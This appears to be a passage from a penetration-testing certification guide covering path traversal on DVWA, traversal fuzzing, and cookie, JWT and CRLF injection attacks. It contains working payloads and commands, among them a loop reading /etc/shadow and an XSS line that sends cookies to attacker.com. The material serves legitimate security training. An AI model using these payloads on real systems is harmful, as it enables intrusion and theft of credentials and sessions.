&amp;lt;p&amp;gt;&amp;lt;a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php"&amp;gt;http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="basic-path-traversal-to-read-etcpasswd" href="#basic-path-traversal-to-read-etcpasswd" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Basic path traversal to read /etc/passwd:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd"&amp;gt;http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="on-windows-dvwa" href="#on-windows-dvwa" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  On Windows DVWA:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"&amp;gt;http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\Windows\win.ini&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="read-dvwas-configuration-file-reveals-mysql-credentials" href="#read-dvwas-configuration-file-reveals-mysql-credentials" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Read DVWA's configuration file (reveals MySQL credentials):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php"&amp;gt;http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="at-medium-security-filter-strips-once" href="#at-medium-security-filter-strips-once" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  At Medium security (filter strips ../ once):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="use-double-traversal-etcpasswd" href="#use-double-traversal-etcpasswd" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Use double traversal: ....//....//....//etc/passwd
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd"&amp;gt;http://127.0.0.1/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="at-high-security" href="#at-high-security" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  At High security:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="only-allows-files-starting-with-file-bypass-with" href="#only-allows-files-starting-with-file-bypass-with" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Only allows files starting with "file" — bypass with:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="fileetcpasswd-file-protocol-for-local-file-access" href="#fileetcpasswd-file-protocol-for-local-file-access" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  file:///etc/passwd (file protocol for local file access)
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd"&amp;gt;http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="using-cadaver-and-dirb-for-web-server-file-enumeration" href="#using-cadaver-and-dirb-for-web-server-file-enumeration" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using Cadaver and dirb for Web Server File Enumeration
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="ffuf-for-path-traversal-fuzzing" href="#ffuf-for-path-traversal-fuzzing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  ffuf for path traversal fuzzing:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u "&amp;lt;a href="http://target.com/page?file=FUZZ"&amp;gt;http://target.com/page?file=FUZZ&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \&amp;lt;br&amp;gt;
  -fw 10          # Filter by word count baseline&amp;lt;br&amp;gt;
  -mc 200         # Only show 200 OK responses&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="dotdotpwn-dedicated-path-traversal-fuzzer" href="#dotdotpwn-dedicated-path-traversal-fuzzer" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  dotdotpwn — dedicated path traversal fuzzer:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;dotdotpwn -m http -h target.com -u "&amp;lt;a href="http://target.com/page?file=TRAVERSAL"&amp;gt;http://target.com/page?file=TRAVERSAL&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  -f /etc/passwd -d 8 -o unix&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="for-confirmed-traversal-systematically-read-highvalue-files" href="#for-confirmed-traversal-systematically-read-highvalue-files" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  For confirmed traversal, systematically read high-value files:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;for file in "/etc/passwd" "/etc/shadow" "/etc/hosts" "/proc/version" "/proc/self/environ"; do&amp;lt;br&amp;gt;
  echo "=== $file ===";&amp;lt;br&amp;gt;
  curl -s "&amp;lt;a href="http://target.com/page?file=$(python3"&amp;gt;http://target.com/page?file=$(python3&amp;lt;/a&amp;gt; -c "print('../'*8)")${file}" 2&amp;gt;/dev/null;&amp;lt;br&amp;gt;
done&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6104-cookie-manipulation-attacks" href="#6104-cookie-manipulation-attacks" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.10.4 Cookie Manipulation Attacks
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="understanding-cookie-architecture-for-attack" href="#understanding-cookie-architecture-for-attack" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Understanding Cookie Architecture for Attack
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Cookies are the state management layer sitting on top of stateless HTTP. They are key-value pairs stored in the browser and sent to the server on every matching request. For web application security, cookies serve three main functions: session management (the session ID that proves authentication), user preferences (language, theme), and tracking (analytics identifiers).&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;From an attacker's perspective, cookies are interesting because:&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;They carry authentication proof — steal or forge them to impersonate users&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;They carry state that the server trusts — modify them to manipulate server-side logic&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;They can contain encoded data that the server processes — modify the encoding to change behavior&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;They can carry JWTs — forge the token to claim different identity or privileges&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="attack-1-cookie-value-manipulation" href="#attack-1-cookie-value-manipulation" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Attack 1 — Cookie Value Manipulation
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Applications sometimes store sensitive state in cookies and make server-side decisions based on those values, trusting that users cannot or will not modify them. This trust is misplaced — users have full control over their own cookies.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Examples of vulnerable cookie patterns:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="role-stored-in-cookie-critical-vulnerability" href="#role-stored-in-cookie-critical-vulnerability" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Role stored in cookie (critical vulnerability):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: role=user&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="simply-change-to" href="#simply-change-to" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Simply change to:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: role=admin&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-the-server-reads-the-role-from-the-cookie-without-serverside-validation" href="#if-the-server-reads-the-role-from-the-cookie-without-serverside-validation" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If the server reads the role from the cookie without server-side validation:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="full-admin-access" href="#full-admin-access" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Full admin access
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="account-id-in-cookie" href="#account-id-in-cookie" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Account ID in cookie:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: user_id=1042&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="change-to" href="#change-to" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Change to:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: user_id=1   # Often the first admin account&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="boolean-flags" href="#boolean-flags" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Boolean flags:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: is_premium=false&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="change-to" href="#change-to" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Change to:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: is_premium=true&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="premium-features-unlocked" href="#premium-features-unlocked" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Premium features unlocked
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="email-address-determines-which-account-is-shown" href="#email-address-determines-which-account-is-shown" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Email address (determines which account is shown):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: account=&amp;lt;a href="mailto:alice@example.com"&amp;gt;alice@example.com&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="change-to" href="#change-to" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Change to:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: account=&amp;lt;a href="mailto:admin@example.com"&amp;gt;admin@example.com&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="or-another-users-email" href="#or-another-users-email" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Or another user's email
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;How to test:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
In Burp Suite, intercept any request and examine all cookie values. For each cookie value that looks like it could be role-related, user-identifying, or feature-flagging:&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;Modify the value to something more privileged&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Forward the modified request&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Observe whether the response is different&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;

&amp;lt;p&amp;gt;This can also be done with the browser's DevTools (Application → Cookies → double-click to edit), or with the Cookie Editor browser extension.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="attack-2-cookie-decoding-and-reencoding" href="#attack-2-cookie-decoding-and-reencoding" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Attack 2 — Cookie Decoding and Re-encoding
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Application cookies are often encoded (Base64, URL encoding) but not encrypted or signed. Decoding them reveals the underlying data structure, which can be modified and re-encoded.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="base64-decode-a-suspicious-cookie" href="#base64-decode-a-suspicious-cookie" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Base64 decode a suspicious cookie:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;echo "dXNlcjoxMDQy" | base64 -d&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="output-user1042" href="#output-user1042" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Output: user:1042
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="modify-the-decoded-value" href="#modify-the-decoded-value" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Modify the decoded value:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="user1-first-user-likely-admin" href="#user1-first-user-likely-admin" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  user:1 (first user, likely admin)
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="reencode" href="#reencode" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Re-encode:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;echo -n "user:1" | base64&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="output-dxnlcjox" href="#output-dxnlcjox" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Output: dXNlcjox
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="use-modified-cookie-in-request" href="#use-modified-cookie-in-request" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Use modified cookie in request:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Cookie: auth=dXNlcjox&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-no-signature-verification-server-uses-this-value-and-gives-admin-access" href="#if-no-signature-verification-server-uses-this-value-and-gives-admin-access" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If no signature verification, server uses this value and gives admin access
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Recognizing common encoded patterns:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="base64-pattern-letters-numbers-padding" href="#base64-pattern-letters-numbers-padding" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Base64 pattern: letters, numbers, +, /, = padding
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;YWRtaW4=         → "admin"&amp;lt;br&amp;gt;
dXNlcjoxMDQy     → "user:1042"&amp;lt;br&amp;gt;
eyJhbGci...      → JWT (three base64 segments separated by dots)&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="urlencoded-json" href="#urlencoded-json" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  URL-encoded JSON:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;%7B%22user%22%3A%22alice%22%2C%22role%22%3A%22user%22%7D&amp;lt;br&amp;gt;
→ Decoded: {"user":"alice","role":"user"}&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="serialize-formats-php-python-pickle-java" href="#serialize-formats-php-python-pickle-java" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Serialize formats (PHP, Python pickle, Java):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:4:"user";}&amp;lt;br&amp;gt;
→ PHP serialized object (deserialization vulnerability if untrusted)&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="attack-3-jwt-manipulation-in-cookies" href="#attack-3-jwt-manipulation-in-cookies" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Attack 3 — JWT Manipulation in Cookies
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Many modern applications store JWTs in cookies rather than localStorage (for HttpOnly protection). When you find a cookie containing a value that starts with &amp;lt;code&amp;gt;eyJ&amp;lt;/code&amp;gt; (Base64 for &amp;lt;code&amp;gt;{"&amp;lt;/code&amp;gt;) followed by a dot, you have a JWT.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;JWT-specific attacks in cookie context:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="decode-the-jwt-without-verifying-signature" href="#decode-the-jwt-without-verifying-signature" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Decode the JWT (without verifying signature):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="install-jwttool" href="#install-jwttool" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Install jwt_tool:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;git clone &amp;lt;a href="https://github.com/ticarpi/jwt_tool"&amp;gt;https://github.com/ticarpi/jwt_tool&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
cd jwt_tool &amp;amp;&amp;amp; pip3 install -r requirements.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="decode-and-display" href="#decode-and-display" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Decode and display:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDQyIiwicm9sZSI6InVzZXIifQ.xxx&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-algnone-attack" href="#test-algnone-attack" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test alg:none attack:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 jwt_tool.py eyJ... -X a&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-hs256-brute-force-weak-secret" href="#test-hs256-brute-force-weak-secret" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test HS256 brute force (weak secret):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 jwt_tool.py eyJ... -C -d /usr/share/wordlists/rockyou.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="modify-claims-and-resign-with-known-secret" href="#modify-claims-and-resign-with-known-secret" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Modify claims and re-sign with known secret:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 jwt_tool.py eyJ... -T -S hs256 -p "secret"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="modify-change-role-from-user-to-admin-in-the-interactive-editor" href="#modify-change-role-from-user-to-admin-in-the-interactive-editor" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Modify: change role from user to admin in the interactive editor
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="jwttool-creates-a-new-token-signed-with-the-provided-secret" href="#jwttool-creates-a-new-token-signed-with-the-provided-secret" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  jwt_tool creates a new token signed with the provided secret
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="attack-4-cookie-scope-exploitation" href="#attack-4-cookie-scope-exploitation" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Attack 4 — Cookie Scope Exploitation
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;The &amp;lt;code&amp;gt;Domain&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;Path&amp;lt;/code&amp;gt; attributes of cookies determine where they are sent. Misconfigurations in these attributes can create security issues:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Overly broad Domain scope:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
A cookie set with &amp;lt;code&amp;gt;Domain=.example.com&amp;lt;/code&amp;gt; is sent to all subdomains. If any subdomain has an XSS vulnerability, an attacker exploiting XSS on &amp;lt;code&amp;gt;vulnerable.example.com&amp;lt;/code&amp;gt; can access cookies scoped to &amp;lt;code&amp;gt;.example.com&amp;lt;/code&amp;gt; — including the session cookie for &amp;lt;code&amp;gt;app.example.com&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Testing Domain scope:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;javascript&amp;lt;br&amp;gt;
// XSS payload on vulnerable.example.com:&amp;lt;br&amp;gt;
// Try to read cookies from parent domain:&amp;lt;br&amp;gt;
document.cookie      // Shows cookies available at current domain including .example.com scope&amp;lt;br&amp;gt;
fetch('https://attacker.com/steal?c=' + document.cookie);&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Path scope confusion:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
A cookie with &amp;lt;code&amp;gt;Path=/api&amp;lt;/code&amp;gt; is only sent to requests under &amp;lt;code&amp;gt;/api&amp;lt;/code&amp;gt;. If sensitive operations also occur at &amp;lt;code&amp;gt;/v2/api&amp;lt;/code&amp;gt;, and the session cookie is scoped to &amp;lt;code&amp;gt;/api&amp;lt;/code&amp;gt; only, the &amp;lt;code&amp;gt;/v2/api&amp;lt;/code&amp;gt; requests have no session — potentially creating authentication bypass if the server incorrectly treats cookieless requests as authenticated.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="attack-5-cookie-smuggling-via-header-injection" href="#attack-5-cookie-smuggling-via-header-injection" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Attack 5 — Cookie Smuggling via Header Injection
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;If user-controlled input is used in setting a cookie (e.g., the application sets a cookie containing the user's username), and if special characters are not filtered, an attacker may inject additional headers or cookie directives through CRLF injection:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-username-is-reflected-in-setcookie-header" href="#if-username-is-reflected-in-setcookie-header" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If username is reflected in Set-Cookie header:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="normal-setcookie-usernamealice-httponly-secure" href="#normal-setcookie-usernamealice-httponly-secure" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Normal: Set-Cookie: username=alice; HttpOnly; Secure
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="attacker-registers-username-alicernsetcookie-admintrue" href="#attacker-registers-username-alicernsetcookie-admintrue" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Attacker registers username: alice\r\nSet-Cookie: admin=true
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="resulting-headers-if-not-sanitized" href="#resulting-headers-if-not-sanitized" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Resulting headers (if not sanitized):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Set-Cookie: username=alice&amp;lt;br&amp;gt;
Set-Cookie: admin=true&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The server injects an additional &amp;lt;code&amp;gt;Set-Cookie&amp;lt;/code&amp;gt; header controlled by the attacker. This is a header injection / CRLF injection vulnerability that uses cookies as the target.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Testing:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
In any username, display name, or profile field that might end up in HTTP response headers, inject CRLF characters:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
Test input: alice%0d%0aSet-Cookie:%20admin%3Dtrue&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br&amp;gt;
Examine the response headers for injected headers.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="comprehensive-cookie-testing-checklist" href="#comprehensive-cookie-testing-checklist" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Comprehensive Cookie Testing Checklist
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;br&amp;gt;
During every web application assessment:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;□ Capture Set-Cookie headers from all responses&amp;lt;br&amp;gt;
□ For each cookie:&amp;lt;br&amp;gt;
  □ Are HttpOnly, Secure, and SameSite flags set correctly?&amp;lt;br&amp;gt;
  □ Is the Domain scope appropriate (not overly broad)?&amp;lt;br&amp;gt;
  □ Decode the cookie value (Base64, URL decode)&amp;lt;br&amp;gt;
  □ Is it a JWT? → Apply JWT testing methodology&amp;lt;br&amp;gt;
  □ Is it serialized data? → Test for deserialization vulnerabilities&amp;lt;br&amp;gt;
  □ Does it contain role, privilege, or user identification data?&amp;lt;br&amp;gt;
     → Test by modifying to higher privilege values&amp;lt;br&amp;gt;
  □ Regenerated after login? (Test session fixation)&amp;lt;br&amp;gt;
  □ Invalidated server-side after logout? (Test with replay)&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;□ Test for CRLF injection if any user input appears in headers&amp;lt;br&amp;gt;
□ Check cookie scope vs. application architecture&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;— Sections 6.7, 6.8, 6.9, and 6.10 are complete.  —&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="module-6-sections-611-612-and-613" href="#module-6-sections-611-612-and-613" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Module 6 — Sections 6.11, 6.12, and 6.13
&amp;lt;/h1&amp;gt;

&amp;lt;blockquote&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;CompTIA PenTest+ / Ethical Hacking Certification Series&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;em&amp;gt;Professional Reference Guide — GitHub Edition&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;
